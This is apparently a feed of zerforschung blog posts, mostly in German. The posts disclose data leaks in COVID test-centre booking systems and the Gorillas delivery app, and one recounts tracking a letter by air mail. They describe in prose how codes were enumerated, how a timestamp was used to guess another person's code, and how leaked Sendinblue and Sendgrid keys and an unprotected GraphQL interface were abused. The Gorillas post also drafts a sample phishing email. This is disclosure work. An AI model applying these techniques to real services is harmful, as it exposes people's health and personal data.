Eine weitere Funktion der Profilseite ist es, ein PDF mit den eigenen Daten und dem QR-Code zu erzeugen, um es dann im Testzentrum schnell vorzeigen zu können. Wollen wir unser PDF herunterladen und klicken den entsprechenden Button, werden wir auf folgende URL weitergeleitet: https://medicanst.com/customer/ticket/pdf/{CODE}. Und hier entdecken wir den vorher erwähnten 7-stelligen Code wieder. Mit dem Unterschied, dass wir auf dieses PDF auch zugreifen können, ohne erneut die Ausweisnummer angeben zu müssen. Dieser Zugriff funktioniert auch von einem anderen Gerät – der 7-stelligen Code reicht also aus, um auf die richtige URL schließen zu können und dort das PDF zu bekommen.

Darin stehen eine Menge Daten:

Vorname
Nachname
Geburtsdatum
E-Mail-Adresse und
Registrierungsdatum

Damit können wir jetzt die PDF-Nummern durchprobieren. Da nur Großbuchstaben und Zahlen verwendet und anscheinend sogar nach einem bestimmten Schema zusammengesetzt werden, ist die Anzahl der möglichen Codes relativ begrenzt. Geht man von Buchstaben von A bis Z und zehn möglichen Ziffern aus, kommt man bei einem 7-stelligen Code auf mehr als 78 Milliarden Zeichen.

Das klingt zwar viel, lässt sich aber durchaus automatisiert durchprobieren. Bei ein paar unserer Testregistrierungen hatten viele Codes die gleichen ersten Stellen. Wenn wir nur die letzten beiden Stellen durchprobierten, hatten wir eine Erfolgschance von 1%.

Aber Moment: So kompliziert müssen wir es uns gar nicht machen – wir haben noch eine einfachere Möglichkeit gefunden, an die Codes heranzukommen.

Sag mir, wann du dich registriert hast und ich sage dir, wie du heißt

In dem PDF fiel uns auch ein Eintrag namens “Test-ID” auf: Eine zehnstellige Nummer, die immer mit 162 beginnt. Als wir etwas genauer draufschauten, entdeckten wir, dass diese Nummer bereits im Registrierungsforumlar in einem versteckten Feld namens “hash” vom Server festgelegt wurde. Mehrere Aufrufe des Registrierungsformulars ergaben langsam aufsteigende “hash”-Werte. Nach etwas Nachdenken stellten wir fest, dass es sich hierbei um den Unix-Timestamp handelt.

Unix-Timestamps sind ein Weg, einen Zeitpunkt zu kodieren. Dabei werden einfach die Sekunden seit dem 01.01.1970 00:00 Uhr UTC kontinuierlich hochgezählt. Für Dienstag, den 8.6.2021 um 8:00 Uhr morgens wäre das dann beispielsweise die Zahl 1623132000.

Der “hash”-Wert des Registrierungsformulars enthält also einen so kodierten Zeitpunkt, je nachdem, wann man das Formular aufgerufen hat.

Ein Blick in unsere Browser-History zeigt uns, dass wir nach der Registrierung einmal kurz über die URL https://medicanst.com/customer/appointment?success=1&hash={HASH} weitergeleitet wurden, in der ausschließlich dieser zehnstellige Unix-Timestamp enthalten ist.
Der spannende Punkt: In der Antwort auf diese Anfrage steht der siebenstellige Code, mit dem wir auch unser PDF abrufen können.

Also haben wir mal probiert, dort nicht unseren Registrierungszeitpunkt anzugeben, sondern den Zeitpunkt ein paar Sekunden zuvor. Und tatsächlich hatten wir schon nach drei Versuchen einen Treffer – und bekamen für unsere Timestamp-Eingabe den siebenstelligen Code einer anderen Person zurück. Diesen mussten wir nur noch in die bekannte URL https://medicanst.com/customer/ticket/pdf/{CODE} einbauen und konnten so das PDF einer fremden Person ohne Probleme abrufen.

Das geht natürlich auch automatisiert, und in kurzen Stichproben waren mehr als 15% der Versuche erfolgreich.

Und jetzt?

Wie viele Menschen betroffen sind, wissen wir dieses Mal nicht, da wir aus unseren Stichproben keine Rückschlüsse auf die Gesamtmenge ziehen können.

Schon während unserer Tests war die Registrierungsseite mal für ein paar Stunden offline, vermutlich wegen einer Hausdurchsuchung. Das war ausgerechnet, als wir uns selber testen lassen wollten. Ein bisschen hatten wir die Hoffnung, dass unsere Versuche bemerkt und das System abgesichert wurde.

Nachdem die Seite aber recht bald wieder unverändert online ging, haben wir uns mal wieder an Berichte gesetzt, um alle Lücken fein säuberlich zu dokumentieren und an die zuständigen staatlichen Stellen, also das CERT-Bund beim BSI und die Landesbeauftragte für Datenschutz und Informationsfreiheit des Landes Nordrhein-Westfalen zu schicken.

Und jetzt kommt etwas Ungewöhnliches: Eigentlich veröffentlichen wir Sicherheitslücken erst, wenn der Hersteller sie behoben hat oder zumindest genügend Zeit dazu hatte. Zwar hatte Medican inzwischen eine Woche Zeit, die Lücken zu schließen, wir haben aber bisher gar keine Rückmeldung erhalten.

Allerdings hat Medican inzwischen fast alle Testzentren geschlossen (auf der Website findet sich nur noch eins) und die Buchungsseite liefert seit einigen Tagen nur noch eine leere Seite. Nachdem es jetzt sogar Festnahmen bei diesem Unternehmen gab, gehen wir nicht davon aus, dass die Buchungsseite nochmal online geht.

Daher halten wir es für vertretbar, diesen Beitrag zu veröffentlichen.

Fazit

Diese Lücken reihen sich in eine viel, viel (!) zu lange Liste von Testzentren mit mangelnder IT-Sicherheit und mangeldem Datenschutz ein.

Wir finden es absolut unglaublich, dass selbst Firmen mit mehr als 50 Teststationen ganz offensichtlich kein ausreichendes Interesse an Datensicherheit haben. Wir haben ja mittlerweile gesehen, dass es für die Betreibenden dabei auch um enorme Mengen Geld geht. Das verleitet sicherlich dazu, mal eben schnell irgendwelche Testbuden und dazugehörige Software hinzurotzen – für alle Betroffenen hat das aber weitreichende Konsequenzen. Für sie geht es darum, dass ihre persönlichen Daten offen einsehbar im Internet stehen!

Wir fühlen uns langsam echt wie eine kaputte Schallplatte:

Immer und immer wieder finden wir schwerwiegende Sicherheitslücken bei Testzentren, die uns den Zugriff auf große Mengen fremder Daten erlauben.
Das darf einfach nicht mehr passieren.
Es braucht Tests zur Pandemiebekämpfung und diese müssen sicher möglich sein.

Und so gilt, wie schon bei Flink, Testzentren mit Software von medicus, Dive, Testzentren mit Software von Eventus, Gorillas und Testzentren mit Software von Deckert: Wenn das Produkt marktreif genug ist, um Kund*innendaten zu speichern, muss es auch reif genug sein, diese für sich zu behalten. Verdammt nochmal! 😡

Der Landesbeauftragte für Datenschutz und Informationsfreiheit Baden-Württemberg hat eine Liste veröffentlicht, was Testzentren-Betreibende beachten müssen. Darin wird auch gefordert:

Die Systeme sollten zudem im Rahmen professioneller Sicherheits-Audits geprüft werden.

Dies passiert offensichtlich bei vielen Anbietern nicht, denn solche Fehler würden innerhalb kürzester Zeit gefunden werden.

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Bei einem Klick auf den Link zur Datenschutz-Grundverordnung passiert übrigens nichts. ↩︎

Wir wissen noch immer, wie du getestet wurdest. Der Tragödie nächster Teil

Wed, 02 Jun 2021 18:13:46 +0200

Was haben Berlin, Ravensburg und München gemeinsam? Sie haben Testzentren, die mit der gleichen Software arbeiten. Und wenn wir über Testzentren schreiben, ist es leider wenig überraschend, dass es mal wieder um ein Datenleck geht. Betroffen sind diesmal mehr als 80.000 Testergebnisse bei vier verschiedenen Testzentrums-Firmen.

Testergebnisse raten

[…] Ein deutschlandweit genutztes System von Testzentren, Google-Cloud und Url-Shortener aus der Karibik (meines Wissens sogar ohne Datenschutzerklärungserwähnung) inklusive. […] Habt ihr Lust, euch das mal ein wenig näher anzusehen?

Mit dieser Nachricht wurden wir gleich auf vier Testzentren-Betreibende hingewiesen, die alle die gleiche Software verwenden: Neben Berlin und München auch noch in Ravensburg, Weingarten, Bad Waldsee und Markdorf. Ein Blick in OpenStreetMap verrät, dass die letzten alle im Großraum Ravensburg liegen.

Wir bekommen in letzter Zeit immer mal wieder Hinweise, aber haben nicht immer die Zeit uns alles genauer anzuschauen. In diesem Fall hat es zeitlich gerade gepasst und wir haben mal einen Blick drauf geworfen.

Die Testergebnisse werden per SMS zugestellt. Da aber das Versenden von SMS mit mehr als 160 Zeichen zuätzliche Kosten verursacht, wollten die Anbieter die SMS vermutlich möglichst kurz halten. Deswegen benutzen sie für den Link zum Ergebnis-PDF den URL-Shortner is.gd.

URL-Shortlink-Anbieter ermöglichen, eine sehr lange und komplexe URL durch eine wesentlich kürzere zu ersetzen, die aber zur gleichen Website führt. So lassen sich URLs einfacher weitergeben, etwa in einem Telefonat. Richtig beliebt wurden diese Services aber mit dem Aufkommen von Twitter, da bei anfangs 140 Zeichen jedes zusätzliche Zeichen einer URL wertvollen Platz für Text kostete. Viele Anbieter änderten ihr Konzept von möglichst merkbaren URLs auf möglichst kurze. Oft wurden die Kurzlinks nicht mal zufällig generiert, sondern die Zeichen nur hochgezählt. Technisch sind Kurz-URLs nichts anderes als eine Weiterleitung und intern nur eine Datenbank, welche die Abkürzungen den langen URLs zuordnet.

Die Links bei unseren Testzentren waren nach diesem Schema aufgebaut: is.gd/ABC123, wobei ABC123 eine 6-stellige Kombination von Groß-, Kleinbuchstaben und Ziffern ist.

Schon das ist ein riesiges Problem. Sechs Stellen sind wirklich nicht viel. Und bei 62 möglichen Zeichen pro Stelle und 6 Stellen gibt es insgesamt nur etwa 57 Milliarden mögliche Kombinationen. Das klingt jetzt erstmal nach einer Menge Möglichkeiten, aber es ist mit vertretbarem Aufwand möglich, all diese URLs durchzuprobieren.

Die E-Mails, die ich schrieb, werd ich nun nicht los

Unsere Erfahrung sagt: Wenn schon bei den SMS nicht auf Sicherheit geachtet wird, ist vermutlich auch das Datenleck nicht weit. Deshalb haben wir uns auch die Terminbuchungsseite angeschaut und einen Blick in den Quellcode geworfen.

Das geht mit jedem Browser: Ein Rechtsklick genügt, um die Entwicklertools zu öffnen, den Code zu lesen und nachzuvollziehen, was genau der eigene Browser tun soll.

Dabei schauen wir in der Regel auf die Teile des Codes, die Daten vom Server abrufen. Eine dieser Code-Stellen fragt eine Liste der Testzentren-Betreibenden ab:

console.log("getting teststationen from "+'operators/' + operator + '/');

// get Teststationen
db.collection('operators/').get().then(querySnapshot => {
    querySnapshot.forEach(doc => {

        if (doc.id == operator) {
            var data = doc.data();
            location_codes = data.location_codes;
            location_names = data.location_names;
        [...]

Diese Abfrage passiert also jedes Mal, wenn der Browser die Seite neu lädt. Und immer, wenn im Browser Daten abgerufen werden, kann man diese mitlesen. Auch hierfür braucht man keine speziellen Werkzeuge, denn mit einem Rechtsklick ins Browserfenster kann man nicht nur den Code anschauen, sondern auch den Datenverkehr “untersuchen”.

Aus den dort geladenen Daten fällt die Liste der Betreibenden mit zusätzlichen Informationen:

{
    "test_types": [
        "fastonly"
    ],
    "location_names": [
        "Testcenter Friedrichstraße"
    ],
    "baseURL": "https://www.corona-gurgeln.de/",
    "location_addresses": [
        "Ecke Friedrichstraße/Torstraße"
    ],
    "positivemail": "info@corona-gurgeln.de",
    "SMSsenderName": "Teststation",
    "sendinbule_api_key": "xkeysib-████████████████████████████████████████-████████████████",
    "companyAddressLine2": "10717 Berlin",
    "companyAddressLine1": "Uhlandstr. 68",
    "location_codes": [
        "AN03"
    ],
    "companyName": "Deckert Vertriebs GmbH"
}

Eine Information sprang uns direkt ins Auge: Der sendinbule_api_key (sic!), der bei jeder Testzentrums-Firma aufgeführt war. Einen Dienst namens “sendinbule” haben wir leider nicht gefunden. Stattdessen probierten wir aus, ob der API-Key vielleicht beim E-Mail-Provider “Sendinblue” funktionieren könnte.

Sendinblue ist ein sogenannter transaktioneller E-Mail-Provider. In den letzten Jahren ist es schwieriger geworden, als neuer Anbieter E-Mails selber so zu versenden, dass sie in der Inbox landen und nicht sofort im Spamfilter hängen bleiben. Statt sich also selbst um den Mailversand zu kümmern, bezahlen immer mehr Anbieter Unternehmen wie Sendinblue, Sendgrid oder Mailjet, damit diese die E-Mails für sie versenden. Das kennen wir schon von unserem Ausflug in den Code von Gorillas.

Mal wieder Volltreffer: Dort funktionierten die API-Keys wunderbar. Die API von Sendinblue kann aber nicht nur E-Mails versenden, sondern es lassen sich darüber auch alle jemals gesendeten E-Mails abrufen.

Die alles entscheidende Frage ist: »Welche E-Mails könnte ein Testzentrum wohl verschicken?«. Da müssen wir nicht allzu lange nachdenken – surprise, surprise: Filtern wir die E-Mails nach dem Betreff “Ergebnis”, erhalten wir über 80.000 Treffer.

Bei jedem positiven Test wird zusätzlich eine E-Mail an den jeweiligen Anbieter des Testzentrums verschickt, vermutlich damit diese dann das Gesundheitsamt informieren können. Filtern wir nur nach solchen E-Mails, bekommen wir 190 Ergebnisse.

Zusammengefasst ist es in etwa so, als würde man die Zugangsdaten zum eigenen E-Mail-Account öffentlich auf seine Webseite schreiben.

Datenschutz, nein Danke?

Über die Untersuchen-Funktion des Browsers kommen wir leider nicht nur an die API-Keys für Sendinblue, sondern auch an die E-Mail-Adressen der Testzentren. An diese werden, wie oben erwähnt, die positiven Ergebnisse gesendet. Wir mussten dann doch sehr staunen, als wir die genauen Mail-Adressen gesehen haben: Für die Testzentren der “Leif Ventures UG”, die testcenter.berlin betreibt, ist eine normale Google-Mail-Adresse hinterlegt. Die Postfächer der “Gemeinsam neue Wege GmbH”, die coronatest-rv.de betreibt, liegen bei Office 365.

Auch sonst wird anscheinend mit den erhobenen Gesundheitsdaten eher sorglos umgegangen, obwohl diese eigentlich besonders geschützt werden müssen. So werden die Daten nicht nur über den oben genannten E-Mail-Anbieter Sendinblue versendet, sondern dort auch für mindestens einen Monat gespeichert. Die Ergebnis-PDFs liegen außerdem alle in der Google-Cloud.

Durch Sendinblue können wir abschätzen, wie viele Testergebnisse betroffen sind:

Betreiber*in	Anzahl Tests
corona-gurgeln.de	~17.500
coronatest-rv.de	~37.500
testcenter.berlin	~26.000
rapidtestberlin.de	~1.500

In den E-Mails standen dann auch die Links zu den Testergebnis-PDFs. Somit waren folgende Daten zugänglich:

Name
Geschlecht
Geburtsdatum
Adresse
E-Mail-Adresse
Telefon-Nummer
Testergebnis

Wozu noch ins Testzentrum?

coronatest-rv.de verschickt nach dem Test auch einen QR-Code. Dieser findet sich sowohl in der E-Mail mit dem Testergebnis als auch auf dem PDF und soll dann im Einzelhandel gescannt werden, um schnell zu überprüfen, dass ein negatives Ergebnis vorliegt.

Diese URL aus dem QR-Code enthält eine Reihe von Parametern. Darin ist unter anderem vermerkt, wann der Test durchgeführt wurde, an welcher Teststation, das Ergebnis und der Name des Testlings. Diese Daten sind allerdings weder signiert, noch werden sie mit den ermittelten Testergebnisse abgeglichen.

Obwohl der Anbieter von diesem Problem weiß, hat er es bis heute nicht gefixt. Dadurch könnten wir uns selbst ein negatives Schnelltestergebnis generieren:

Halbherzige Reaktionen

Nachdem wir die Lücken entdeckt hatten, haben wir sie, wie üblich, fein säuberlich dokumentiert und dann dem CERT-Bund beim BSI und den Landesbeauftragten für Datenschutz und Informationsfreiheit in Baden-Württemberg und Berlin geschickt. Bei keinem der Testzentren war zu erfahren, wer diese Software entwickelt hat. Auch eine security.txt war nicht vorhanden. Deswegen konnten wir uns nicht direkt an die Softwareanbieterin wenden.

Zwei Tage nachdem wir die Reports versendet haben, wurde die Lücke geschlossen, zuerst nur halbherzig. Zwar wurden die API-Keys aus den abrufbaren Daten entfernt, allerdings wurden die kompromitierten Keys nicht widerrufen. Damit konnten alle, die die Keys bereits kannten, weiterhin auf die Daten zugreifen. Diese Zugangsdaten wurden erst einige Tage später deaktiviert, nachdem wir auch Sendinblue über die kompromitierten Keys informierten. Wir wissen nicht, ob die Betreiber*innen dies selber veranlasst haben oder ob die Keys aufgrund unseres Hinweises an Sendinblue deaktiviert wurden.

Fazit

Das Handeln der Testzentrenbetreibenden ist hier wieder extrem verantwortungslos. Wer Kund*innen-Daten verarbeitet oder speichert, muss dafür Sorge tragen, dass diese ausreichend geschützt sind. Das gilt ganz besonders bei Testzentren, die sensible Gesundheitsdaten verwalten.

Auch in der aktuellen Phase der Pandemie ist es wichtig, sich regelmäßig testen lassen zu können. Das muss möglich sein, ohne Angst zu haben, dass die eigenen Daten danach offen im Internet zugänglich sind.

Und so gilt, wie schon bei Flink: Wenn das Produkt marktreif genug ist, um Kund*innendaten zu speichern, muss es auch reif genug sein, diese für sich zu behalten.

Die schlechte Ausrede, dass die Software schnell entwickelt werden musste, zählt nach vielen Monaten Betrieb von Schnelltestzentren erst recht nicht mehr.

Selbst wenn es keine gravierenden Sicherheitslücken gäbe, muss man sich immer um Datenschutz kümmern. Das heißt zum Beispiel, Daten nicht länger abrufbar zu speichern als nötig, sie nicht mit Diensten zu teilen, die sie nicht brauchen und bei der Diensteauswahl darauf zu achten, dass dort die Daten DSGVO-konform gespeichert werden.

Der Landesbeauftragte für Datenschutz und Informationsfreiheit Baden-Württemberg hat vor wenigen Tagen eine Liste veröffentlicht, was Testzentren-Betreibende beachten müssen und kommentiert:

Wir müssen gerade in dieser Phase der Pandemie sorgsam mit den personenbezogenen Daten der Bürger_innen umgehen. Es darf keine ‚Nebenwirkung‘ von Corona-Tests sein, dass persönliche und sensible Daten von vielen Menschen irgendwo im Internet landen und für Dritte einsehbar sind.

Wir können uns dem nur anschließen und allen Betreibenden von Testzentren nochmal nahelegen, die vom LfDI BW genannten Punkte erneut zu überprüfen.

In diesem Fall kommt erschwerend hinzu, dass die als kompromittiert bekannten Zugangsdaten ganze drei Tage lang nicht ungültig gemacht wurden. Eigentlich ist das mit zwei Klicks über das Webinterface von Sendinblue möglich. Dass dies nicht schnellstmöglich passierte, bedeutet, dass die Betreiber*innen bewusst in Kauf nahmen, dass weitere Daten abgerufen und unter Umständen missbraucht werden.

Es ist eine absolute Frechheit, dass hier so sorglos mit solchen hochsensiblen Daten umgegangen wird. Wir hoffen, dass die Datenschutzbehörden hier ihre Möglichkeiten nutzen und empfindliche Bußgelder gegen die Unternehmen verhängen.

Disclosure Timeline

2021-05-16: Wir bekommen Hinweis und finden nach kurzer Suche die Sendinblue-API-Keys
2021-05-17: Reports werden an CERT-Bund und LfDIs versendet; LfDI BaWü kann Lücken nachstellen und leitet, soweit zuständig, die nötigen Maßnahmen in die Wege
2021-05-19: API-Keys sind nicht mehr über Buchungsseite abrufbar
2021-05-20: Wir bitten Sendinblue, die Keys zu widerrufen
2021-05-21: Die API-Keys sind revoked

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Die Brieftaube ist eine Nachteule

Sun, 23 May 2021 17:50:00 +0200

Was viele zum Thema Kurzstrecken-Flüge nicht im Blick haben: Innerhalb Deutschlands werden über Nacht immer noch viele Briefe mit dem Flugzeug transportiert. 🧵

Wir verschicken ja manchmal Post zwischen unseren “Standorten” und haben uns jetzt mal den Spaß gemacht, den Weg eines Briefs von Ulm nach Berlin zu verfolgen – über die Nachtluftpost-Strecke STR–BER:

Wir verpacken also in Ulm sorgfältigst einen GPS-Tracker und schicken diesen per Brief nach Berlin.

GPS-Tracker, Batterie-Halterung und Antenne mit abgerupftem Gaffertape auf eine schief ausgeschnittene Pappe geklebt

Vom Briefkasten aus geht es über eine kleine Postfiliale zum Briefzentrum Neu-Ulm. Am späten Abend wird unser kleiner Brief dann ganz vorfreudig über die Autobahn zum Flughafen Stuttgart transportiert.

Im Tweet geschilderter Streckenverlauf des Briefes mit den Messpunkten auf der Karte dargestellt.

Um 23:28 Uhr befindet sich der Brief das erste Mal auf dem Rollfeld. Direkt vor Terminal 4.

Messpunkt auf der Karte, direkt vor Terminal 4 des Stuttgarter Flughafens. Marker der die Uhrzeit anzeigt.

Wenige Minuten später erscheint auch auf Flightradar24 exakt an dieser Stelle der Flug EW3002/GWI3002 von Stuttgart nach Berlin. ✉️ ➡️ ✈️

Screenshot von Flightradar24 - Ein Flugzeug steht am Terminal 4. Eurowingsmaschine, Flug EW3002. Flugzeugalter 14 Jahre.

Auch die Koordinaten in der Luft decken sich mit der Flugroute von Flightradar24.

Geflogene Route basierend auf den GPS-Messpunkten

Geflogene Route laut Flightradar24 - beide Routen sind beinahe deckungsgleich

In der Nähe von Jena begegnen wir dem Flug GWI3001 in die Gegenrichtung: Der Postflug von Berlin nach Stuttgart.

*Busfahrer*innen-Gruß*

Screenshot von ADSB-Exchange - 2 Flugzeuge nebeneinander, in entgegen gesetzte Richtungen fliegend über Jena

Da es sich übrigens um normale Passagierflugzeuge handelt und diese bei Eurowings mit WLAN ausgestattet sind, ist es auch möglich z.B. mit ESPs im Flug aus Briefen heraus Sensordaten zu versenden. 😇

Am BER gilt zwar ab 23:30 ein Nachtflugverbot, für Luftpostverkehr gibt es hier aber Ausnahmen. Und so erreicht unser Brief gegen 01:15 den Hauptstadtflughafen. 🛬 🐻

Noch ein paar Fakten zur Nachtluftpost und Bilder vom Beladen der Maschinen haben wir hier gefunden: https://www.flugblatt-magazin.de/stories/nachtluftpost-am-airport-geht-die-post-ab/

Der Wikipedia-Artikel wirkt leider eher veraltet: https://de.wikipedia.org/wiki/Nachtluftpost

Da Fragen zu den Akkus kamen: Wir haben uns natürlich vorher angeschaut, was wir in einem Brief versenden dürfen. Zu gefährlichen Stoffen und Gegenständen, die vom Versand ausgeschlossen sind, zählen z.B. Lithium-Akkus und Durians. Deswegen benutzten wir AA-Alkaline Batterien.

Wenn euch gefällt was wir machen und ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Gorillas: Special offer - unicorn slices, 150g 🦍❤️

Mon, 10 May 2021 22:00:00 +0200

We felt more like “Oh fuck, Databreach”

Dieser Artikel ist auch auf deutsch erschienen.

During the pandemic, grocery delivery services gained popularity. New players on the market offer delivery in under an hour. One of them is Gorillas, which not only delivers apples and granola bars in 10 minutes, but just as quickly delivered the data of all its customers.

How could this happen? Unfortunately, it was once again much too simple. But let’s start at the beginning:

Gorillas currently is the largest of these services in Germany. On large billbords they promise delivery times of under 10 minutes. Orders are picked in decentralized depots and delivered by riders on bicycles.

A few weeks ago, we already stumbled across a security vulnerability in the software of their competitor ‘flink’. Gorillas has experienced extreme growth in recent weeks and also raised another absurd 290 million US dollars in venture capital¹ - a good reason for us to give their service a try.

Gorillas is active in over 15 cities in 4 countries (DE, NL, UK, FR) and plans to expand to over 50 cities soon, including the USA. We found out about this through job ads, which are always an interesting research approach.

For us it’s almost a routine step: with every new app we install we take a quick look at its data traffic with a mitmproxy². At first glance, we notice that Gorillas loads data from two different Google Cloud Storage buckets: eddress and gorillas-public. Buckets is simply a fancy name for folders in cloud storage services - here these are used to store and deliver product images and advertising banners to the app.

You don’t always want a list of all the files that are in a cloud bucket to be publicly available, for example when business data is involved. That’s why most cloud services disable the public listing of files by default. That way you can access the files - but only if you know the exact link.

Well, in this case, we were able to see a list of all the files, and thus access the individual files themselves. We had access to many, many photos of all the products Gorillas offers. Knowing the links to all product images would not necessarily be a problem, but unfortunately, it didn’t stop there:

In the gorillas cloud bucket, we also found photos of things we didn’t expect to see there: front doors and doorbell signs. Are these product images, too? Has the delivery service discovered another market niche and entered the hardware store business? Probably not: these files were definitely not intended for the public. Strictly speaking, not even for Gorillas.

The photographed front doors and doorbell plates come from drivers who seem to sometimes need to take such photos when delivering an order. Not only is this part missing in the privacy policy³, but it’s also just creepy⁴.

As we now find voice memos, invoices and database backups in the bucket eddress, it becomes clear that this cannot be intentional.

Symbolbild (image: Jedesto, CC BY-SA 4.0, via Wikimedia Commons)

What the hell is eddress?

The name “eddress” appears in many places. Not only in the bucket name, but also in the app identifier, so it seems relevant.

After a brief investigation, it turns out: Eddress is a company based in Pakistan and Lebanon that offers white-label courier software - software that is purposefully kept neutral, which individual delivery services can then design to fit their own business. Eddress itself also operates a delivery service, much like Gorillas, called noknok in Lebanon.

There are 20 differences between these images, can you spot them all?

The apps from noknok and Gorillas look almost identical. This suggests that Gorillas bought their software entirely from eddress. Also, it turns out that the CEO of eddress has now become the CTO of Gorillas. So the two companies are indeed closely intertwined.

Add another 200g of API keys?

After knowing that the Gorillas system was built by eddress, we wanted to learn more about this collaboration. Our search engine of choice didn’t find any articles on the subject, but it did take us to an admin portal for Gorillas/eddress: portal.gorillas.io.

Here we are greeted by a login screen to which we have no credentials. But a quick look into the browser tools shows: The JavaScript for the portal is loaded before the login. That allows us a look into the source code.

Why is that?

The admin portal of Gorillas is a so-called single-page Application. This means that the page consists of only one HTML file and all content is loaded dynamically. The entire JavaScript code of the application is also delivered right from the start.

This is not a security problem per se, but it sometimes allows exciting insights into the infrastructure and features of a web app that was previously inaccessible due to a lack of login or permissions.

Looking at the code, these lines caught our eye:

Having had previous experience with GraphQL interfaces in the delivery service Flink, we immediately entered the URL into a GraphQL client of our choice.

GraphQL is a language for data queries. That means you can describe what information you would like to have from the server and in what format. For example, at Flink, we could tell the server, “Give us the last 10 orders, who placed them, and what was ordered.” The server on the other side should be configured not to handle all requests equally, but to only give out certain information to authorized users. With Flink, this was configured incorrectly - and with Gorillas?

To find out, we used a really cool function of GraphQL: Introspection. Introspection provides a method to find out what information can be retrieved and how. Most GraphQL clients automatically create documentation of the API from this:

The two queries for orders need credentials, that’s why we only get the following error message:

The tenantConfig however can be accessed without any restrictions. And the information delivered there is quite interesting: API keys and URLs for various services that are apparently used by the Gorillas/eddress infrastructure. Among them we found API keys for Sendgrid and Slack webhook URLs.

With the Slack URLs, we could post messages to specific Gorillas Slack channels: “No work today!”

Much more relevant, however, are the Sendgrid API keys. Sendgrid is a so-called transactional email provider. In recent years it has become increasingly difficult to send emails with your own infrastructure in a way where they end up in the receivers inbox and don’t immediately get caught by spam filters. So instead of taking care of sending e-mails themselves, more and more providers turn to services like Sendgrid, Mailjet or Amazon SES, which send out the e-mails for them.

So with the Sendgrid API key, we could send emails on behalf of Gorillas: “Hey investors, we’ve run out of money again”

This problem doesn’t only affect Gorillas, but also other services that use eddress’ software. Among them are:

oyanow, Nigeria
noknok, Lebanon
LibanPost (the national post office of Lebanon).

This would allow attackers to send authentic-looking emails on behalf of Gorillas or other eddress clients.

Sendgrid allows a very detailed configuration of which API key is allowed to do what. However, the API keys in question have an extremely large number of permissions: The API key of Gorillas for 100 of these so-called “scopes”, the one of Liban Post for more than 200. In addition to sending e-mails, this also includes the authorization to create new API keys. An attacker could thus create a new API key relatively unnoticed - and continue to use it even if the leaked API key is revoked.

Would you like to have some more data?

We had just finished writing the report for the problems described so far when an idea came to us: To access the queries for orders you need an access token. When you log into the app you get a token of this type. So, expecting that it would allow us to query our own data, we took our access identifier from the app and entered it into our GraphQL client. And sure enough, we got data. Not just ours, but all of it.

In total, we were able to retrieve data on over 1,000,000 orders, the associated 200,000 customers, and workers.

This includes:

Names, addresses, email addresses and phone numbers of customers
Order details (products ordered, quantity, price, etc.)
In the case of credit card payment: the expiration date of the credit card
References to photos of the front door/bell plate, if available
Name and phone number of “activeWorker”, presumably drivers or pickers.

So it’s not just the customers who are affected, but also the workers - another problem in how startup delivery services treat them. The working conditions of pickers and riders have already been criticized several times.

Spear phishing with a trawl

All this data, together with SendGrid access, forms the basis for an extremely evil attack scenario. To safeguard against phishing e-mails, people are taught to not only check the accuracy of the sender, but also whether for instance one is addressed with the correct name.

But we have both now: We know the data of all customers, including their orders, and can write e-mails in the name of Gorillas.

Now let’s imagine an e-mail to all Gorillas customers that ordered in the last few days with the following content:

Hello Alex Example, 🦍❤️

Yesterday you ordered with us for 23.42€ to the address “Examplestreet 123, 00000 Examplecity”. For this, you used your credit card with an expiration date of 13/37. Unfortunately, the payment was declined by our payment service provider. Therefore we have to ask you to settle your invoice.

You can make the payment comfortably under the following link: i-steal-your-credit-card-data.com/payment/{order-number}

The products you ordered were: […]

Since the domains gorlllas.io and goriilas.io are not registered, even familiar-looking domains could be used. Anyway, people are already used to being redirected to a wide variety of payment providers.

One thing is for certain: We would fall for it.

Gorilla’s reaction

While finding the vulnerabilities, we also documented them and reported them collectively to CERT-Bund, the german federal Computer Emergency Response Team. CERT-Bund then reviewed them and forwarded our reports to Gorillas. Gorillas has, according to its own statement, closed the vulnerabilities described, revoked leaked API keys and also informed the relevant authorities as well as its customers and workers. We very much welcome that Gorillas informed its customers and workers on its own initiative, even though there is not necessarily a legal obligation.

We also received the e-mail Gorillas sent to its customers. Unfortunately, we have to criticize that they do not name exactly which data was retrievable. Who remembers what data they might have entered, months after ordering normal everyday goods? And there is not a word about the photos of front doors and doorbell signs either. We think this is even worse because the customers of Gorillas don’t even know that these pictures exist.

When will the industry finally learn‽

This is the second time that a supermarket delivery service leaked all customer data because of an unprotected GraphQL interface. We hoped that the issue at Flink served as a warning for all providers and that they would take another close look into their own systems to see if they have similar problems. The fact that even with investments of triple-digit millions, IT security does not seem to be seen as important⁵ surprises us once again. We expected that investors would take a little more care when selecting their investment targets for such enormous sums. After all, the competitors are certainly not supposed to know which products are doing particularly well in which parts of the city.

Here IT security has the same problem as other preventative measures: The better it is, the less one sees its benefit. Only when it’s too late and we already found our way into the databases, the companies realise what they did wrong. As long as the system is sufficiently secured, no one notices - because everything is running properly, smoothly and quietly.

At the same time, IT security is harder to advertise than new features⁶ and financial incentives are somewhat lacking. The GDPR allows for severe penalties for such data breaches. Now it’s on the data protection authorities to issue them so that companies will have one more reason to pay attention to their IT security in the future.

Our delivery times are longer than 10 minutes: As a collective, we need well over a week to create such an article, from finding the issues to writing the reports, to publishing this post. If you like it, feel free to support us.

The term unicorn was coined by someone who thinks the value of companies is particularly relevant. It means that a company is valued at over 1 billion US-Dollars. Gorillas is currently the company that has achieved this title faster than any other company in Germany. ↩︎
A mitmproxy is a program that allows you to capture and decrypt data traffic from your own device. ↩︎
yes, we really read the privacy policy ↩︎
It’s also an interesting thing to do that in a country that has fought tooth and nail against photos of building facades on Google Street View. ↩︎
Gorillas has been looking for IT security people for about a month. So far they don’t seem to have anyone. For occupational safety as well by the way. ↩︎
Apple is currently showing that you can actually advertise with data protection ↩︎

Gorillas: Einhornaufschnitt, 150g, im Angebot 🦍❤️

Fri, 07 May 2021 05:50:00 +0200

Naja, eigentlich eher “Oh fuck, Daten”

This article was also published in english.

Supermarkt-Lieferdienste sind in der Pandemie sehr beliebt. Neben den Klassikern sind jetzt Dienste neu im Spiel, die in unter einer Stunde liefern. Einer davon ist Gorillas – hier bekam man nicht nur die bestellten Äpfel und Müsliriegel in 10 Minuten, sondern genauso schnell auch die Daten aller Kund*innen.

